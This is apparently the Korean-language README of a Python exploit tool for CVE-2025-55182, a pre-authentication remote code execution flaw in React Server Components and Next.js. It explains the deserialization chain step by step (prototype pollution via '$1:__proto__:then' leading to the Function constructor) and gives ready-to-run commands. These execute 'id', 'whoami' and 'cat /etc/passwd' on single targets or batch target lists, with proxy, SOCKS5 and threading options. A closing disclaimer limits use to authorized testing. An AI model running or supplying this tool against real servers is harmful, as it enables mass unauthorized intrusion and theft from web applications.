
Pre-authentication remote code execution exploit for React Server Components and Next.js via deserialization vulnerability. Supports single-target and batch scanning with proxy and threading.
React Server Components / Next.js 사전 인증 원격 코드 실행
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| 유형 | Pre-Auth RCE |
| 구성 요소 | 영향을 받는 버전 |
|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js | 15.0.0 ~ 15.0.4, 15.1.0 ~ 15.1.8, 15.2.x ~ 15.5.6, 16.0.0 ~ 16.0.6 |
| 관련 패키지 | react-server-dom-webpack, react-server-dom-turbopack, react-server-dom-parcel |
이 취약점은 React Server Components (RSC) Flight 프로토콜의 역직렬화 결함을 이용합니다. 악의적인 multipart/form-data 요청을 구성하여 인증되지 않은 원격 코드 실행을 달성합니다. 전체 익스플로잇 체인은 다음과 같습니다:
POST multipart/form-data와 Next-Action 요청 헤더를 결합하여 Server Action 경로를 트리거합니다.$1:__proto__:then은 PENDING 상태의 Chunk 1 객체의 Chunk.prototype.then에 접근하여 thenable로 만듭니다.$1:constructor:constructor는 프로토타입 체인을 통해 Function 생성자로 해석됩니다.Chunk.prototype.then은 initializeModelChunk를 호출하여 value 필드 '{"then":"$B0"}'를 파싱합니다.$B0 blob 파싱은 _formData.get(_prefix + "0")를 호출하며, 이는 Function(code + "0")입니다.then 속성이 있어 thenable로 간주되어 호출되며, 코드 실행을 트리거하여 RCE를 달성합니다.pip install requests[socks]
스크립트는 의존성이 없을 경우 자동으로
requests와PySocks를 설치하려고 시도합니다.
python CVE-2025-55182.py -u http://target:3000 -c "id"
python CVE-2025-55182.py -f targets.txt -c "cat /etc/passwd" -o results.txt
python CVE-2025-55182.py -u http://target:3000 --check
python CVE-2025-55182.py -f targets.txt --check -o vuln_hosts.txt
# HTTP 프록시
python CVE-2025-55182.py -u http://target:3000 -c "whoami" --proxy http://127.0.0.1:8080
# SOCKS5 프록시
python CVE-2025-55182.py -f targets.txt -c "id" --proxy socks5://127.0.0.1:1080
python CVE-2025-55182.py -u http://target:3000 -c "id" -v
| 매개변수 | 설명 | 기본값 |
|---|---|---|
-u, --url | 단일 대상 URL (-f와 상호 배타적) | - |
-f, --file | 대상 URL 목록 파일, 각 줄에 하나씩 (-u와 상호 배타적) | - |
-c, --command | 실행할 시스템 명령어 (--check 모드에서는 필수 아님) | - |
-o, --output | 결과 출력 파일 | results.txt |
-t, --threads | 동시 스레드 수 | 10 |
-v, --verbose | 디버그 출력 표시 | False |
--proxy | 프록시 주소, HTTP 및 SOCKS5 지원 | - |
--timeout | 요청 시간 초과 (초) | 15 |
--check | 취약점만 탐지, 시스템 명령어 실행 안 함 | False |
--verify-ssl | TLS 인증서 검증 | False |
일괄 스캔 결과는 -o로 지정된 출력 파일에 기록되며, 취약점이 확인된 대상만 기록됩니다.
http://192.168.1.10:3000
https://app.example.com
http://10.0.0.5:3000/dashboard
# 주석 줄은 무시됩니다.
이 도구는 승인된 보안 테스트 및 보안 연구 목적으로만 사용됩니다. 사용자는 대상 시스템 소유자의 명시적 승인을 받았음을 반드시 확인해야 합니다. 승인 없이 시스템에 침투 테스트를 수행하는 것은 불법 행위이며, 사용자는 모든 법적 책임을 스스로 부담해야 합니다.